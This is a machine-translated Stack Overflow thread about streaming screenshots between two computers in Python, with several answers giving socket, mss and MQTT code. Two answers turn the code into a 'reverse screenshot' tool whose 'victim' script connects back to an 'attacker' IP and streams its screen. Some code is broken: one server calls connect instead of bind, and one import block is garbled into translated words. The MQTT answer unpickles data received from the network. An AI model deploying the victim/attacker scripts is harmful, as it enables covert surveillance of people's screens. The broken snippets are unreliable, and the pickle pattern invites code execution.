python 中的屏幕共享

Screen sharing in python

您好,我被卡住了,我在 Internet 上没有找到任何有用的信息。 我正在尝试在 python 中制作一个屏幕共享程序。 问题是我无法以至少 24 fps 的速度发送屏幕,因为当我使用 PIL (ImageGrab) 截取屏幕截图时,那里会出现延迟。 我的客户将从服务器获取图片(屏幕截图)并将其 "blit" 屏幕使用 pygame。

服务器:

# -*- coding: utf-8 -*-


import socket
import os
import threading
from PIL import ImageGrab
def RetrFile(name, sock):

    while 1:
        img = ImageGrab.grab()
        img.save("PATH_TO_PIC")

        filename = "PATH_TO_PIC"
        sock.send(str(os.path.getsize(filename)))
        with open('PATH_TO_PIC', 'rb') as f:
            bytesToSend = f.read(1024)
            sock.send(bytesToSend)
            while bytesToSend != "":
                bytesToSend = f.read(1024)
                sock.send(bytesToSend)

def Main():
   host = '0.0.0.0'
   port = 5000

   s = socket.socket()
   s.bind((host,port))

   s.listen(5)
   print "Server Started."

   while True:
       c, addr = s.accept()
       print "Client connected ip: <"+ str(addr) + ">"
       t = threading.Thread(target = RetrFile, args = ("retrThread", c))
       t.start()
   s.close()

if __name__ == '__main__':
    Main()

客户:

import socket
import pygame as pg
def Main():
    host = '127.0.0.1'
    port = 5000


    pg.init()
    display_screen = pg.display.set_mode((1900, 1000))



    clock = pg.time.Clock()

    s = socket.socket()
    s.connect((host,port))
    filename =  "PATH_TO_PIC"
    isExit = False
    while not isExit:

        for event in pg.event.get():
            if event.type == pg.QUIT:
                isExit = True
        data = s.recv(1024)
        print data
        filesize = long(data)

        f = open(filename, 'wb')
        data = s.recv(1024)
        totalRecv  =  len(data)
        f.write(data)
        while totalRecv < filesize:
            data = s.recv(1024)
            totalRecv += len(data)
            f.write(data)
        showImg = pg.image.load('PATH_TO_PIC')
        display_screen.blit(showImg, (0,0))
        pg.display.flip()
        clock.tick(60)
    s.close()

if __name__ == '__main__':
    Main()

基本上我的问题是:如何在两台电脑之间共享一个屏幕,我不知道使用PIL发送大量图片的方式是否有效和正确。 有没有更有效的方法?把1号电脑的画面投射到2号电脑上?

我刚刚尝试过,它似乎运行良好 (Python 3)。如果您认为这可以接受,请告诉我,我正在使用 MSS 模块来防止 I/O.

server.py

from socket import socket
from threading import Thread
from zlib import compress

from mss import mss


WIDTH = 1900
HEIGHT = 1000


def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while 'recording':
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)


def main(host='0.0.0.0', port=5000):
    sock = socket()
    sock.connect((host, port))
    try:
        sock.listen(5)
        print('Server started.')

        while 'connected':
            conn, addr = sock.accept()
            print('Client connected IP:', addr)
            thread = Thread(target=retreive_screenshot, args=(conn,))
            thread.start()
    finally:
        sock.close()


if __name__ == '__main__':
    main()

client.py

from socket import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """

    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='127.0.0.1', port=5000):
    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    sock = socket()
    sock.connect((host, port))
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(sock.recv(1), byteorder='big')
            size = int.from_bytes(sock.recv(size_len), byteorder='big')
            pixels = decompress(recvall(sock, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        sock.close()


if __name__ == '__main__':
    main()

您可以使用另一种压缩算法(如 LZ4)进行改进,该算法具有 Python 实现。您将需要尝试 :)

对@Tiger-222 的代码进行以下更改

size_len = int.from_bytes(sock.recv(1), byteorder='big')
size = int.from_bytes(recvall(sock, size_len), byteorder='big')

我做了一个反向截屏,(渗透测试工具), 服务器(受害者)将数据发送到客户端(攻击者)

攻击者

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()  

受害者

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

对于服务器:

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='0.0.0.0', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()

对于客户: 进口套接字 从线程导入线程 从 zlib 导入压缩

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)
x = socket.socket()
def main(host='Your Server IP', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()
x.close()
if __name__ == '__main__':
    main()

我用了反向连接的概念,like(reverse shells),我厚着脸皮抄了上面的答案(答案1),然后转换过来

攻击者

import socket
from zlib import decompress
import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True
    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()

客户代码

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        thread = Thread(target=retreive_screenshot, args=(sock,))
        thread.start()
        thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

当然这没有优化,使用一些好的压缩技术使其高效和快速。

我对基于 python 的屏幕共享脚本集很感兴趣。我不关心编写低级套接字代码。我最近发现了一个有趣的消息 broker/server,叫做 mosquitto (https://mosquitto.org/) 简而言之,您连接到服务器并订阅主题。当经纪人收到有关您订阅的主题的消息时,它会向您发送该消息。

这里有两个连接到 mosquitto 代理的脚本。一个脚本监听屏幕抓取请求。另一个脚本请求屏幕抓取并显示它们。

这些脚本依靠图像处理模块来完成繁重的工作 过程是

  1. 客户端请求屏幕
  2. 服务器收到有关屏幕抓取主题​​的消息的通知
  3. 服务器使用 mss 抓取屏幕
  4. 服务器将屏幕转换为 numpy
  5. server base 64 对压缩的 pickled numpy 图像进行编码
  6. 如果可能,服务器会对最后一张图像进行增量处理
  7. 服务器将 base 64 字符串发布到屏幕抓取主题​​
  8. 通知客户端有消息在屏幕抓取话题
  9. 客户逆向处理
  10. 客户端显示屏幕
  11. 客户回到第 1 步

使用命令行消息退出服务器 C:\Program Files\mosquitto>mosquitto_pub.exe -h "127.0.0.1" -t "server/quit" -m "0"

此实现使用增量刷新。它使用 numpy 对当前和 最后一个屏幕。这确实增加了压缩比。它演示了一个离线服务器可以被许多客户端使用和连接,这些客户端可能对某台机器上发生的事情的实时流感兴趣。这些脚本绝对不是生产质量,只能用作 POC。

脚本 1 - 服务器

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

monitor = 0 # all monitors
quit = False
capture = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_disconnect(client, userdata, flags, rc):
    print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global capture
    global last_image

    if message.topic == "server/size":
        with mss.mss() as sct:
            sct_img = sct.grab(sct.monitors[monitor])
            size = sct_img.size
            client.publish("client/size", str(size.width) + "|" + str(size.height))

    if message.topic == "server/update/first":
        with mss.mss() as sct:
            b64img = BuildPayload(False)
            client.publish("client/update/first", b64img)

    if message.topic == "server/update/next":
        with mss.mss() as sct:
            b64img = BuildPayload()
            client.publish("client/update/next", b64img)

    if message.topic == "server/quit":
        quit = True

def BuildPayload(NextFrame = True):
    global last_image
    with mss.mss() as sct:
        sct_img = sct.grab(sct.monitors[monitor])
        image = numpy.array(sct_img)
        if NextFrame  == True:
            # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
            xor_image = image ^ last_image
            b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
        else:
            # first image - less compression than delta
            b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
            print("Source Image Size=" + str(len(sct_img.rgb)))
        last_image = image
        print("Compressed Image Size=" + str(len(b64img)) + " bytes")
        return b64img

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("server/size")
    client.subscribe("server/update/first")
    client.subscribe("server/update/next")
    client.subscribe("server/quit")
    while not quit:
        time.sleep(5)
        continue
    client.publish("client/quit")
    time.sleep(5)
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

脚本 2 - 客户端

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

quit = False
size = False
capture = False
width = 0
height = 0
last_image = None
first = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global size
    global capture
    global width
    global height
    global last_image
    global first

    if message.topic == "client/size":
        if width == 0 and height == 0:
            strsize = message.payload.decode("utf-8")
            strlist = strsize.split("|")
            width = int(strlist[0])
            height = int(strlist[1])
            size = True

    if message.topic == "client/update/first":
        # stay synchronized with other connected clients
        if size == True:
            DecodeAndShowPayload(message, False)
            first = True

    if message.topic == "client/update/next":
        # stay synchronized with other connected clients
        if size == True and first == True: 
            DecodeAndShowPayload(message)

    if message.topic == "client/quit":
        quit = True

def DecodeAndShowPayload(message, NextFrame = True):
    global last_image
    global capture
    global quit

    if NextFrame == True:
        # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
        xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
        image = last_image ^ xor_image
    else:
        # first image - less compression than delta
        image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
    last_image = image
    cv2.imshow("Server", image)
    if cv2.waitKeyEx(25) == 113:
        quit = True
    capture = False

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("client/size")
    client.subscribe("client/update/first")
    client.subscribe("client/update/next")
    client.subscribe("client/quit")

    # ask once and retain in case client starts before server
    asksize = False
    while not size:
        if not asksize:
            client.publish("server/size", "1", 0, True)
            asksize = True 
        time.sleep(1)

    first_image = True
    while not quit:
        if capture == False:
            capture = True
            if first_image:
                client.publish("server/update/first")
                first_image = False
            else:
                client.publish("server/update/next")
        time.sleep(.1)

    cv2.destroyAllWindows()
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

显示压缩的示例输出 例如:来源是 18,662,400 字节(3 个屏幕) 压缩后的图像小至 35,588 字节,即 524 比 1